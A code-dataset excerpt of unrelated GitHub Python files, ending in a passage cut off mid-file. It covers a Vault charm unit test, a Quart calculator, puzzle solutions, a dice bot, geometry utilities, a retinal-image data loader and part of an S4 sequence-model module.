self.endpoint_from_flag.assert_has_calls([\n mock.call('endpoint.secrets.joined'),\n mock.call('secrets-storage.available'),\n ])\n vault_data = {\n 'approle_role_id': secrets_storage.unit_role_id,\n 'approle_secret_id': self.retrieve_secret_id(),\n 'vault_url': secrets_storage.vault_url,\n 'kv_mountpoint': barbican_vault_charm.secret_backend_name,\n 'ssl_ca_crt_file': barbican_vault_charm.installed_ca_name,\n }\n barbican_vault_charm.install_ca_cert.assert_called_once_with(\n secrets_storage.vault_ca)\n barbican.publish_plugin_info.assert_called_once_with(\n 'vault', vault_data)\n self.clear_flag.assert_called_once_with(\n 'endpoint.secrets-storage.changed')\n","repo_name":"openstack-charmers/charm-barbican-vault","sub_path":"unit_tests/test_barbican_vault_handlers.py","file_name":"test_barbican_vault_handlers.py","file_ext":"py","file_size_in_byte":3530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34901753640","text":"import ssl\n\nfrom quart import abort, jsonify, Quart, render_template, request\n\n\napp = Quart(__name__)\n\n\n@app.route('/')\nasync def index():\n return await render_template('index.html')\n\n\n@app.route('/', methods=['POST'])\nasync def calculate():\n data = await request.get_json()\n operator = data['operator']\n try:\n a = int(data['a'])\n b = int(data['b'])\n except ValueError:\n abort(400)\n if operator == '+':\n return jsonify(a + b)\n elif operator == '-':\n return jsonify(a - b)\n elif operator == '*':\n return jsonify(a * b)\n elif operator == '/':\n return jsonify(a / b)\n else:\n abort(400)\n\n\nif __name__ == '__main__':\n ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\n ssl_context.options |= ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1 | ssl.OP_NO_COMPRESSION\n ssl_context.set_ciphers('ECDHE+AESGCM')\n ssl_context.load_cert_chain(certfile='examples/calculator/cert.pem', keyfile='examples/calculator/key.pem')\n ssl_context.set_alpn_protocols(['h2', 'http/1.1'])\n app.run(port=5000, ssl=ssl_context)\n","repo_name":"zhengxiaowai/quart","sub_path":"examples/calculator/calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70804263239","text":"import re\r\nimport numpy as np\r\nimport math\r\nimport functools\r\nimport collections \r\n\r\nimport os\r\nimport sys\r\nos.chdir(os.path.dirname(sys.argv[0]))\r\n\r\nli = []\r\nwith open(\"15t.txt\") as f:\r\n li = [x.strip() for x in f.readlines()]\r\n\r\nb = []\r\nfor l in li:\r\n b.append([int(x) for x in l])\r\n#b = np.array(b)\r\n\r\nclass Graph():\r\n \r\n def __init__(self, vertices):\r\n self.V = vertices\r\n self.graph = [[0 for column in range(vertices)]\r\n for row in range(vertices)]\r\n \r\n def printSolution(self, dist):\r\n print(\"Vertex tDistance from Source\")\r\n for node in range(self.V):\r\n print(node, \"t\", dist[node])\r\n \r\n # A utility function to find the vertex with\r\n # minimum distance value, from the set of vertices\r\n # not yet included in shortest path tree\r\n def minDistance(self, dist, sptSet):\r\n \r\n # Initialize minimum distance for next node\r\n min = sys.maxsize\r\n \r\n # Search not nearest vertex not in the\r\n # shortest path tree\r\n for v in range(self.V):\r\n if dist[v] < min and sptSet[v] == False:\r\n min = dist[v]\r\n min_index = v\r\n \r\n return min_index\r\n \r\n # Function that implements Dijkstra's single source\r\n # shortest path algorithm for a graph represented\r\n # using adjacency matrix representation\r\n def dijkstra(self, src):\r\n \r\n dist = [sys.maxsize] * self.V\r\n dist[src] = 0\r\n sptSet = [False] * self.V\r\n \r\n for cout in range(self.V):\r\n \r\n # Pick the minimum distance vertex from\r\n # the set of vertices not yet processed.\r\n # u is always equal to src in first iteration\r\n u = self.minDistance(dist, sptSet)\r\n \r\n # Put the minimum distance vertex in the\r\n # shortest path tree\r\n sptSet[u] = True\r\n \r\n # Update dist value of the adjacent vertices\r\n # of the picked vertex only if the current\r\n # distance is greater than new distance and\r\n # the vertex in not in the shortest path tree\r\n for v in range(self.V):\r\n if (self.graph[u][v] > 0 and\r\n sptSet[v] == False and\r\n dist[v] > dist[u] + self.graph[u][v]):\r\n dist[v] = dist[u] + self.graph[u][v]\r\n \r\n self.printSolution(dist)\r\n\r\ng = Graph(len(b))\r\ng.graph = b\r\n \r\ng.dijkstra(0)\r\nquit()\r\nprint(b)\r\nmincost = np.sum(b[0]) + np.sum(b.T[-1][1:])\r\n\r\ndef findPath(b,x,y,seen,cost):\r\n if (x,y) in seen: return 99999999999\r\n if x == len(b)-1 and y == len(b[0])-1: return cost + b[x][y]\r\n if not (0 <= x < len(b)): return 9999999999\r\n if not (0 <= y < len(b[0])): return 99999999999\r\n if cost > mincost: return 99999999999\r\n seen = seen | {(x,y)}\r\n n = findPath(b,x+1,y,seen,cost + b[x][y])\r\n s = findPath(b,x-1,y,seen,cost + b[x][y])\r\n e = findPath(b,x,y+1,seen,cost + b[x][y])\r\n w = findPath(b,x,y-1,seen,cost + b[x][y])\r\n return min(n,s,w,e)\r\n \r\nprint(findPath(b,0,0,set(),0))","repo_name":"nicolasmeier/advofcode","sub_path":"2021/15/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"40857421614","text":"#ejemplo entre list y diccionario\nlist = []\ndict = {}\n\n\"\"\"\npara hacer\ncomentarios \nmuy largos\n\"\"\"\n\nbox = [20, 45, 30]\nbox = {\"height\": 20, \"width\": 45, \"length\": 30}\nbox [\"cuadrados\"] = 20\nbox [\"juegos\"] = 20\n\nprint(box[:2])\nprint(box[\"height\"])\nprint(\"{1}, {0}\" .format(box[\"height\"], box[\"width\"]))\nprint(box.get(\"height\"))\n\neu_cities = [\"Vienna\", \"Malaga\", \"Budapest\", \"Cologne\", \"Zagreb\"]\njordan = {\"first_name\": \"Michael\", \"last_name\": \"Jordan\", \"age\": 56, \"games_played\": 1072, \"total_points\": 32292}\n\n","repo_name":"Marcos2810/SmartNinja","sub_path":"Python-1/dicts.py","file_name":"dicts.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21658843198","text":"from datetime import datetime, timedelta\nimport sys\nimport re\n\ndef depurate(item):\n if \"c:\" in item or \"C:\" in item:\n word = re.findall(r'\\w+\\.\\w+', item)\n if len(word) > 0:\n return word[-1]\n else:\n return \"\"\n else:\n return item\n\ndef setImportance(filters, description, process):\n importance = 0\n for item in filters:\n if item in description or item in process:\n importance = 1\n continue\n return importance\n\ndef getList(filename):\n filters = []\n \n #Getting importance from filters.txt\n file_object = open(\"filters.txt\", 'r')\n for line in file_object:\n line = re.sub(r'\\n', \"\", str(line))\n filters.append(line)\n\n file_object.close()\n\n file_object = open(filename, 'r')\n## file_object_writter = open(\"depurado.csv\", 'w')\n objects = []\n collection = []\n # \t \\date_time_start \\date_time_end \\\n #description\\date_start\\time_start\\date_end\\time_end\\elapsed_time\\process\\process_type\\importance\n for line in file_object:\n collection = line.split(\"|\", len(line))\n if len(collection) == 6:\n if str(collection[4]) == \"\":\n continue\n description = depurate(collection[1])\n date_time_start = collection[2].split(\"T\", len(collection[2]))\n date_time_end = collection[3].split(\"T\", len(collection[3]))\n date_start = date_time_start[0]\n time_start = re.sub(r'\\.\\d*', \"\", str(date_time_start[1]))\n date_end = date_time_end[0]\n time_end = re.sub(r'\\.\\d*', \"\", str(date_time_end[1]))\n time_object_1 = datetime.strptime(str(date_start) + \" \" + str(time_start), '%Y-%m-%d %H:%M:%S')\n time_object_2 = datetime.strptime(str(date_end) + \" \" + str(time_end), '%Y-%m-%d %H:%M:%S')\n elapsed_time = time_object_2 - time_object_1\n process = depurate(collection[4])\n process_type = collection[5].split(\"/\", len(collection))[1].splitlines()[0]\n importance = setImportance(filters, description, process)\n collection = [description, date_start, time_start, date_end, time_end, elapsed_time, process, process_type, importance]\n## file_object_writter.write(str(description) + \"|\" +\n## str(date_start) + \"|\" +\n## str(time_start) + \"|\" +\n## str(date_end) + \"|\" +\n## str(time_end) + \"|\" +\n## str(elapsed_time) + \"|\" +\n## str(process) + \"|\" +\n## str(process_type) + \"|\" +\n## str(importance) + \"\\n\")\n objects.append(collection)\n\n file_object.close()\n## file_object_writter.close()\n return objects\n\n#reload(sys)\n#sys.setdefaultencoding('utf8')\n#filename = sys.argv[1]\n#getList(\"output.csv\")\n","repo_name":"LeoEras/InvestigacionTracker","sub_path":"Base.py","file_name":"Base.py","file_ext":"py","file_size_in_byte":3031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"2987348848","text":"import sys\r\nfrom PyQt5 import uic, QtWidgets\r\n\r\n\r\nclass MyApp(QtWidgets.QMainWindow) :\r\n tab_taxes = [20, 5.5]\r\n\r\n def __init__(self) :\r\n super().__init__()\r\n QtWidgets.QMainWindow.__init__(self)\r\n uic.loadUi(\"MyAppDesign.ui\", self)\r\n self.boutonOK.clicked.connect(self.CalculPrixTTC)\r\n for val in self.tab_taxes:\r\n self.comboBoxTaxe.addItem(str(val))\r\n\r\n def CalculPrixTTC(self) :\r\n prix = float(self.textEditPrixHT.toPlainText())\r\n taxe = float(self.comboBoxTaxe.currentText())\r\n prixTTC = prix + ((taxe / 100) * prix)\r\n prixTTC_string = \"Le prix total TTC est : \" + str(prixTTC)\r\n self.labelTotalTTC.setText(prixTTC_string)\r\n\r\n\r\nif __name__ == \"__main__\" :\r\n app = QtWidgets.QApplication(sys.argv)\r\n window = MyApp()\r\n window.show()\r\n sys.exit(app.exec_())\r\n","repo_name":"Abdel-IBM-IA/Formation","sub_path":"Pycharm/TD Designer/MyAppscript.py","file_name":"MyAppscript.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"5198095754","text":"# Programmers - Level1 - 문자열을 정수로 바꾸기\n\n'''\n문자열 s를 숫자로 변환한 결과를 반환하는 함수, solution을 완성하세요.\n'''\n\ndef solution(s):\n ans = 0\n if 1<= len(s) <=5 and s!='0':\n ans = int(s)\n return ans","repo_name":"ict-cspark/TIL","sub_path":"Algorithm/Programmers/Level1/level1_문자열을_정수로_바꾸기.py","file_name":"level1_문자열을_정수로_바꾸기.py","file_ext":"py","file_size_in_byte":261,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"27804282699","text":"n = int(input())\nboard = [[0 for _ in range(n)] for _ in range(n)]\ndx = [1, -1, 0, 0]\ndy = [0, 0, -1, 1]\nstudents = [[] for _ in range(n*n + 1)]\narr = []\n\nfor _ in range(n*n):\n temp = list(map(int, input().split()))\n like = temp[1:]\n students[temp[0]].append(like) #좋아하는 학생 새 배열로 정리\n arr.append(temp[0]) #순서대로 진행할 학생 배열\n\nfor people in arr :\n # 가장 우선순위가 낮은 값\n prev_case = (0, 0, -(n-1), -(n-1))\n my_x, my_y = n-1, n-1 #현재 위치\n # 우선순위 비교, 저장\n for i in range(n) :\n for j in range(n) :\n if board[i][j] != 0 : continue\n like_friend, empty_space = 0, 0\n for k in range(4) :\n nx = i + dx[k]\n ny = j + dy[k]\n if 0 <= nx < n and 0 <= ny < n :\n if board[nx][ny] == 0 :\n empty_space += 1 #빈공간임\n elif board[nx][ny] in students[st][0]:\n like_friend += 1 #좋아하는 친구 수\n\n list_tuple = (like_friend, empty_space, i, j)\n if list_tuple > prev_case :\n # tuple 비교로 가장 큰 우선순위 값 저장\n my_x, my_y = list_tuple[2], list_tuple[3]\n prev_case = list_tuple\n else :\n my_x, my_y = prev_case[2], prev_case[3]\n\n # 비교 끝 -> 배치\n board[my_x][my_y] = people\n\nanswer = 0\nfor i in range(n) :\n for j in range(n) :\n now = board[i][j]\n cnt = 0\n for k in range(4) :\n nx = i + dx[k]\n ny = j + dy[k]\n if 0 <= nx < n and 0 <= ny < n :\n if board[nx][ny] in students[now][0]:\n cnt += 1\n if cnt != 0 :\n answer += 10**(cnt-1)\n\nprint(answer)","repo_name":"wnstj-yang/algorithm-study","sub_path":"crkim/2021상반기오전/1_놀이기구 탑승.py","file_name":"1_놀이기구 탑승.py","file_ext":"py","file_size_in_byte":1836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73911684356","text":"#Module: dice\n\nimport re, random\nfrom fwee import event, config, log, core, common\n\ndef init():\n\tevent.listen('Command/DICE', rollDice)\n\ndef cleanup():\n\tevent.unlisten(rollDice)\n\ndef rollDice(evname, net, message, args):\n\tcount, sides=(1, 6)\n\tif len(args)>1:\n\t\tcount, sides=args\n\telif len(args)==1:\n\t\tdice=args[0].split(\"d\")\n\t\tif len(dice)>1:\n\t\t\tcount, sides=dice\n\t\telse:\n\t\t\tcount=args[0]\n\t\t\tsides=6\n\t\n\ttry:\n\t\tcount, sides=[int(i) for i in (count, sides)]\n\texcept ValueError:\n\t\tmessage.reply(\"Only numbers, please!\")\n\t\treturn\n\t\n\tif count < 1:\n\t\tmessage.reply(\"Numbers must be equal to or greater than 1!\")\n\t\treturn\n\t\n\tif sides < 1:\n\t\tmessage.reply(\"Numbers must be equal to or greater than 1!\")\n\t\treturn\n\t\n\tlog.edebug(\"Rolling %d dice, %d sides\", count, sides)\n\t\n\tdice=[str(random.randint(1, sides)) for nothing in range(0, count)]\n\tdicetype=\"%dd%d\"%(count, sides)\n\twho=message.fromnick.split(\"!\")[0]+\" rolls\" if message.parameters[0].startswith(\"#\") else \"You roll\"\n\tmessage.reply(\"%s %s for %s\", who, dicetype, \", \".join(dice))","repo_name":"BasementCat/FweeBot","sub_path":"modules/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3668236343","text":"import math\n\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtGui\n\n\ndef angle(p1, p2):\n \"\"\"\n Returns the angle (measured in radians) of the line connecting the given points.\n :type p1: QPointF\n :type p2: QPointF\n :rtype: float\n \"\"\"\n return math.atan2(p1.y() - p2.y(), p2.x() - p1.x())\n\n\ndef distance(p1, p2):\n \"\"\"\n Calculate the distance between the given points.\n :type p1: QPointF\n :type p2: QPointF\n :rtype: float\n \"\"\"\n return math.sqrt(math.pow(p2.x() - p1.x(), 2) + math.pow(p2.y() - p1.y(), 2))\n\n\ndef intersection(l1, l2):\n \"\"\"\n Return the intersection point of the given lines.\n Will return None if there is no intersection point.\n :type l1: QLineF\n :type l2: QLineF\n :rtype: QPointF\n \"\"\"\n L = max(min(l1.p1().x(), l1.p2().x()), min(l2.p1().x(), l2.p2().x()))\n R = min(max(l1.p1().x(), l1.p2().x()), max(l2.p1().x(), l2.p2().x()))\n T = max(min(l1.p1().y(), l1.p2().y()), min(l2.p1().y(), l2.p2().y()))\n B = min(max(l1.p1().y(), l1.p2().y()), max(l2.p1().y(), l2.p2().y()))\n if (T, L) == (B, R):\n return QtCore.QPointF(L, T)\n return None\n\n\ndef createArea(p1, p2, degrees, size):\n \"\"\"\n Creates an area between the given QPointF and according to the given angle and size.\n :type p1: QPointF\n :type p2: QPointF\n :type degrees: float\n :type size: int\n :rtype: QPolygonF\n \"\"\"\n rad = math.radians(degrees)\n x = size / 2 * math.sin(rad)\n y = size / 2 * math.cos(rad)\n a = QtCore.QPointF(+x, +y)\n b = QtCore.QPointF(-x, -y)\n return QtGui.QPolygonF([p1 + a, p1 + b, p2 + b, p2 + a])\n\n\ndef midpoint(p1, p2):\n \"\"\"\n Calculate the midpoint between the given points.\n :type p1: QQPointF\n :type p2: QPointF\n :rtype: QPointF\n \"\"\"\n return QtCore.QPointF(((p1.x() + p2.x()) / 2), ((p1.y() + p2.y()) / 2))\n\n\ndef projection(line, p):\n \"\"\"\n Calculate the projection of the given point on the given line.\n Will return a tuple containing the length of the segment connecting the\n original point with its projection, and the coordinate of the projected point.\n :type line: QLineF\n :type p: QPointF\n :rtype: tuple\n \"\"\"\n x1 = line.x1()\n y1 = line.y1()\n x2 = line.x2()\n y2 = line.y2()\n x3 = p.x()\n y3 = p.y()\n\n kk = ((y2 - y1) * (x3 - x1) - (x2 - x1) * (y3 - y1)) / (math.pow(y2 - y1, 2) + math.pow(x2 - x1, 2))\n x4 = x3 - kk * (y2 - y1)\n y4 = y3 + kk * (x2 - x1)\n\n p1 = QtCore.QPointF(x3, y3)\n p2 = QtCore.QPointF(x4, y4)\n\n return distance(p1, p2), p2","repo_name":"obdasystems/eddy","sub_path":"eddy/core/functions/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"62"} +{"seq_id":"6601528014","text":"# -*- encoding:utf-8 -*-\n#start#\n# 常用资源库\nimport pandas as pd\nimport numpy as np\nEPS = 1e-9#\nimport os,glob,numbers\n# 图像处理\nimport math,cv2,random\nfrom PIL import Image, ImageFile, ImageOps, ImageFilter\nImageFile.LOAD_TRUNCATED_IMAGES = True\n# 图像显示\nfrom matplotlib import pyplot as plt\nplt.rcParams['image.cmap'] = 'gray'\nimport socket\nimport matplotlib as mpl\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torchvision.transforms import functional as f\nfrom torchvision import transforms\nfrom torch.utils.data import Dataset, DataLoader\n\ndef gain(ret, p=1): #gain_off\n\tmean = np.mean(ret)\n\tret_min = mean-(mean-np.min(ret))*p\n\tret_max = mean+(np.max(ret)-mean)*p\n\tret = 255*(ret - ret_min)/(ret_max - ret_min)\n\tret = np.clip(ret, 0, 255).astype(np.uint8)\n\treturn ret\n\ndef arr2img(pic):\n\treturn Image.fromarray(pic.astype(np.uint8))#, mode='L'\n\ndef arrs2imgs(pic):\n\t_pic=dict()\n\tfor key in pic.keys():\n\t\t_pic[key] = arr2img(pic[key])\n\treturn _pic\n\ndef imgs2arrs(pic):\n\t_pic=dict()\n\tfor key in pic.keys():\n\t\t_pic[key] = np.array(pic[key])\n\treturn _pic\n\ndef pil_tran(pic, tran=None):\n\tif tran is None:\n\t\treturn pic\n\tif isinstance(tran, list):\n\t\tfor t in tran:\n\t\t\tfor key in pic.keys():\n\t\t\t\tpic[key] = pic[key].transpose(t)\n\telse:\n\t\tfor key in pic.keys():\n\t\t\tpic[key] = pic[key].transpose(tran)\n\treturn pic\n\nclass Aug4Val(object):\n\tnumber = 8\n\t@staticmethod\n\tdef forward(pic, flag):\n\t\tflag %= Aug4Val.number\n\t\tif flag==0:\n\t\t\treturn pic\n\t\tpic = arrs2imgs(pic)\n\t\tif flag==1:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=Image.FLIP_LEFT_RIGHT))\n\t\tif flag==2:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=Image.FLIP_TOP_BOTTOM))\n\t\tif flag==3:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=Image.ROTATE_180))\n\t\tif flag==4:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=[Image.FLIP_LEFT_RIGHT,Image.FLIP_TOP_BOTTOM]))\n\t\tif flag==5:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=[Image.ROTATE_180,Image.FLIP_TOP_BOTTOM]))\n\t\tif flag==6:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=[Image.ROTATE_180,Image.FLIP_LEFT_RIGHT]))\n\t\tif flag==7:\n\t\t\treturn imgs2arrs(pil_tran(pic, tran=[Image.ROTATE_180,Image.FLIP_LEFT_RIGHT,Image.FLIP_TOP_BOTTOM]))\n\n\nclass EyeSetResource(object):\n\tsize = dict()\n\tsave = {\n\t\t'drive':{'h':584,'w':565},\n\t\t'chase':{'h':960,'w':999},\n\t\t'stare':{'h':605,'w':700},\n\t\t'hrf': {'h':1168,'w':1752},\n\t\t}\n\tdef __init__(self, folder='../eyeset', dbname='drive', loo=99, desc=True, **args):\n\t\tsuper(EyeSetResource, self).__init__()\n\t\t\n\t\tself.folder = '../datasets/seteye'\n\t\t# else:\n\t\t# \traise EnvironmentError('No thi root!')\n\t\t# self.folder = folder\n\t\tself.dbname = dbname\n\n\t\tself.imgs, self.labs, self.fovs, self.auxs = self.getDataSet(self.dbname)\n\t\tif dbname=='stare' and loo>=0 and loo<20: \n\t\t\tself.imgs['test'] = [self.imgs['full'][loo]]\n\t\t\tself.imgs['train'] = self.imgs['full'][:loo] + self.imgs['full'][1+loo:]\n\t\t\tself.imgs['val'] = self.imgs['train']\n\t\t\t\n\t\t\tself.labs['test'] = [self.labs['full'][loo]]\n\t\t\tself.labs['train'] = self.labs['full'][:loo] + self.labs['full'][1+loo:]\n\t\t\tself.labs['val'] = self.labs['train']\n\t\t\t\n\t\t\tself.fovs['test'] = [self.fovs['full'][loo]]\n\t\t\tself.fovs['train'] = self.fovs['full'][:loo] + self.fovs['full'][1+loo:]\n\t\t\tself.fovs['val'] = self.fovs['train']\n\t\t\t\n\t\t\tself.auxs['test'] = [self.auxs['full'][loo]]\n\t\t\tself.auxs['train'] = self.auxs['full'][:loo] + self.auxs['full'][1+loo:]\n\t\t\tself.auxs['val'] = self.auxs['train']\n\n\t\t\tprint('LOO:', loo, self.imgs['test'])\n\t\t\tprint('LOO:', loo, self.labs['test'])\n\t\t\tprint('LOO:', loo, self.fovs['test'])\n\t\t\tprint('LOO:', loo, self.auxs['test'])\n\n\t\tself.lens = {'train':len(self.labs['train']), 'val':len(self.labs['val']),\n\t\t\t\t\t 'test':len(self.labs['test']), 'full':len(self.labs['full'])} \n\t\t# print(self.lens) \n\t\tif self.lens['test']>0:\n\t\t\tlab = self.readArr(self.labs['test'][0])\n\t\t\tself.size['raw'] = lab.shape\n\t\t\th,w = lab.shape\n\t\t\tself.size['pad'] = (math.ceil(h/32)*32, math.ceil(w/32)*32)\n\t\t\t# print('size:', self.size)\n\t\telse:\n\t\t\tprint('dataset has no images!')\n\n\t\tif desc:\n\t\t\t# print('*'*32,'eyeset','*'*32)\n\t\t\tstrNum = 'images:{}+{}+{}#{}'.format(self.lens['train'], self.lens['val'], self.lens['test'], self.lens['full'])\n\t\t\tprint('{}@{}'.format(self.dbname, strNum))\n\n\tdef getDataSet(self, dbname): \n\t\t# 测试集\n\t\timgs_test = self.readFolder(dbname, part='test', image='rgb')\n\t\tlabs_test = self.readFolder(dbname, part='test', image='lab')\n\t\tfovs_test = self.readFolder(dbname, part='test', image='fov')\n\t\tauxs_test = self.readFolder(dbname, part='test', image='aux')\n\t\t# 训练集\n\t\timgs_train = self.readFolder(dbname, part='train', image='rgb')\n\t\tlabs_train = self.readFolder(dbname, part='train', image='lab')\n\t\tfovs_train = self.readFolder(dbname, part='train', image='fov')\n\t\tauxs_train = self.readFolder(dbname, part='train', image='aux')\n\t\t# 全集\n\t\timgs_full,labs_full,fovs_full,auxs_full = [],[],[],[]\n\t\timgs_full.extend(imgs_train); imgs_full.extend(imgs_test)\n\t\tlabs_full.extend(labs_train); labs_full.extend(labs_test)\n\t\tfovs_full.extend(fovs_train); fovs_full.extend(fovs_test)\n\t\tauxs_full.extend(auxs_train); auxs_full.extend(auxs_test)\n\n\t\tdb_imgs = {'train': imgs_train, 'val':imgs_train, 'test': imgs_test, 'full':imgs_full}\n\t\tdb_labs = {'train': labs_train, 'val':labs_train, 'test': labs_test, 'full':labs_full}\n\t\tdb_fovs = {'train': fovs_train, 'val':fovs_train, 'test': fovs_test, 'full':fovs_full}\n\t\tdb_auxs = {'train': auxs_train, 'val':auxs_train, 'test': auxs_test, 'full':auxs_full}\n\t\treturn db_imgs, db_labs, db_fovs, db_auxs\n\n\tdef readFolder(self, dbname, part='train', image='rgb'):\n\t\tpath = self.folder + '/' + dbname + '/' + part + '_' + image\n\t\timgs = glob.glob(path + '/*.npy')\n\t\timgs.sort()\n\t\treturn imgs\n\t\t\n\tdef readArr(self, image):\n\t\t# assert(image.endswith('.npy'), 'not npy file!') \n\t\treturn np.load(image) \n\t\n\tdef readDict(self, index, exeData): \n\t\timg = self.readArr(self.imgs[exeData][index])\n\t\tfov = self.readArr(self.fovs[exeData][index])\n\t\tlab = self.readArr(self.labs[exeData][index])\n\t\taux = fov#self.readArr(self.auxs[exeData][index])\n\t\tif fov.shape[-1]==3:\n\t\t\tfov = cv2.cvtColor(fov, cv2.COLOR_BGR2GRAY)\n\t\treturn {'img':img, 'lab':lab, 'fov':fov, 'aux':aux}\n#end#\n\n\n'''\nmax-width of retinal datasets\nSTARE:\t5.4\nDRIVE:\t6.9\nCHASE:\t9.25\nHRF:\t20.06/2=10.03\n'''\n\n\nif __name__ == '__main__':\n\t# main()\n\t# crop4trainset()\t\t\n\n\tdb = EyeSetResource(folder='G:\\Objects\\datasets\\seteye', dbname='drive')\n\t# # db = EyeSetResource(folder='../eyeset', dbname='stare')\n\n\t# dataset2npy(db)\n\tmode = 'val'\n\tfor i in range(db.lens[mode]):\n\t\tpics = db.readDict(i, mode)\n\t\ta,b,c,d = pics['img'],pics['lab'],pics['fov'],pics['aux']\n\t\tplt.subplot(221),plt.imshow(a)\n\t\tplt.subplot(222),plt.imshow(b)\n\t\tplt.subplot(223),plt.imshow(c)\n\t\tplt.subplot(224),plt.imshow(d)\n\t\tplt.show()\n\n","repo_name":"tyb311/DMF-AU","sub_path":"data/eyenpy.py","file_name":"eyenpy.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"10770065567","text":"# Modified from S4: https://github.com/HazyResearch/state-spaces/blob/main/src/models/sequence/ss/s4.py\n# We will release the whole codebase upon acceptance.\nimport math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.nn.utils as U\nfrom einops import rearrange, repeat\nfrom omegaconf import DictConfig\nimport opt_einsum as oe\nimport numpy as np\nfrom IPython import embed\nfrom functools import partial\noptimized = True\n\nif optimized:\n contract = oe.contract\nelse:\n contract = torch.einsum\n\ndef get_initializer(name, activation=None):\n if activation in [ None, 'id', 'identity', 'linear', 'modrelu' ]:\n nonlinearity = 'linear'\n elif activation in ['relu', 'tanh', 'sigmoid']:\n nonlinearity = activation\n elif activation in ['gelu', 'swish', 'silu']:\n nonlinearity = 'relu' # Close to ReLU so approximate with ReLU's gain\n else:\n raise NotImplementedError(f\"get_initializer: activation {activation} not supported\")\n\n if name == 'uniform':\n initializer = partial(torch.nn.init.kaiming_uniform_, nonlinearity=nonlinearity)\n elif name == 'normal':\n initializer = partial(torch.nn.init.kaiming_normal_, nonlinearity=nonlinearity)\n elif name == 'xavier':\n initializer = torch.nn.init.xavier_normal_\n elif name == 'zero':\n initializer = partial(torch.nn.init.constant_, val=0)\n elif name == 'one':\n initializer = partial(torch.nn.init.constant_, val=1)\n else:\n raise NotImplementedError(f\"get_initializer: initializer type {name} not supported\")\n\n return initializer\n\nclass modrelu(nn.Module):\n def __init__(self, features):\n # For now we just support square layers\n super(modrelu, self).__init__()\n self.features = features\n self.b = nn.Parameter(torch.Tensor(self.features))\n self.reset_parameters()\n\n def reset_parameters(self):\n self.b.data.uniform_(-0.01, 0.01)\n\n def forward(self, inputs):\n norm = torch.abs(inputs)\n biased_norm = norm + self.b\n magnitude = nn.functional.relu(biased_norm)\n phase = torch.sign(inputs)\n\n return phase * magnitude\n\nclass Modrelu(modrelu):\n def reset_parameters(self):\n self.b.data.uniform_(-0.01, 0.01)\n\nclass TransposedLinear(nn.Module):\n \"\"\" Linear module on the second-to-last dimension\n Assumes shape (B, D, L), where L can be 1 or more axis\n \"\"\"\n\n def __init__(self, d_input, d_output, bias=True):\n super().__init__()\n\n self.weight = nn.Parameter(torch.empty(d_output, d_input))\n # nn.Linear default init\n nn.init.kaiming_uniform_(self.weight, a=math.sqrt(5))\n # nn.init.kaiming_uniform_(self.weight, nonlinearity='linear') # should be equivalent\n\n if bias:\n self.bias = nn.Parameter(torch.empty(d_output))\n bound = 1 / math.sqrt(d_input)\n nn.init.uniform_(self.bias, -bound, bound)\n setattr(self.bias, \"_optim\", {\"weight_decay\": 0.0})\n else:\n self.bias = 0.0\n\n def forward(self, x):\n num_axis = len(x.shape[2:]) # num_axis in L, for broadcasting bias\n y = contract('b u ..., v u -> b v ...', x, self.weight) + \\\n self.bias.view(-1, *[1]*num_axis)\n return y\n\n\nclass TransposedLN(nn.Module):\n \"\"\" LayerNorm module over second dimension\n Assumes shape (B, D, L), where L can be 1 or more axis\n\n This is slow and a dedicated CUDA/Triton implementation shuld provide substantial end-to-end speedup\n \"\"\"\n\n def __init__(self, d, scalar=True):\n super().__init__()\n self.scalar = scalar\n if self.scalar:\n self.m = nn.Parameter(torch.zeros(1))\n self.s = nn.Parameter(torch.ones(1))\n setattr(self.m, \"_optim\", {\"weight_decay\": 0.0})\n setattr(self.s, \"_optim\", {\"weight_decay\": 0.0})\n else:\n self.ln = nn.LayerNorm(d)\n\n def forward(self, x):\n if self.scalar:\n # calc. stats over D dim / channels\n s, m = torch.std_mean(x, dim=1, unbiased=False, keepdim=True)\n y = (self.s/s) * (x-m+self.m)\n else:\n # move channel to last axis, apply layer_norm, then move channel back to second axis\n _x = self.ln(rearrange(x, 'b d ... -> b ... d'))\n y = rearrange(_x, 'b ... d -> b d ...')\n return y\n\n\ndef Activation(activation=None, size=None, dim=-1):\n if activation in [None, 'id', 'identity', 'linear']:\n return nn.Identity()\n elif activation == 'tanh':\n return nn.Tanh()\n elif activation == 'relu':\n return nn.ReLU()\n elif activation == 'gelu':\n return nn.GELU()\n elif activation in ['swish', 'silu']:\n return nn.SiLU()\n elif activation == 'glu':\n return 